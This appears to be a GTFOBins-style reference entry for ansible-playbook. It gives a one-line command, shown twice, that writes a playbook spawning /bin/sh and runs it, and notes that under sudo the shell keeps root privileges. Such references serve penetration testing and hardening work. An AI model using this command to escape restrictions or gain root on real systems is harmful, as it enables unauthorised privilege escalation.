ansible-playbook
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >/path/to/temp-file ansible-playbook /path/to/temp-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >/path/to/temp-file ansible-playbook /path/to/temp-file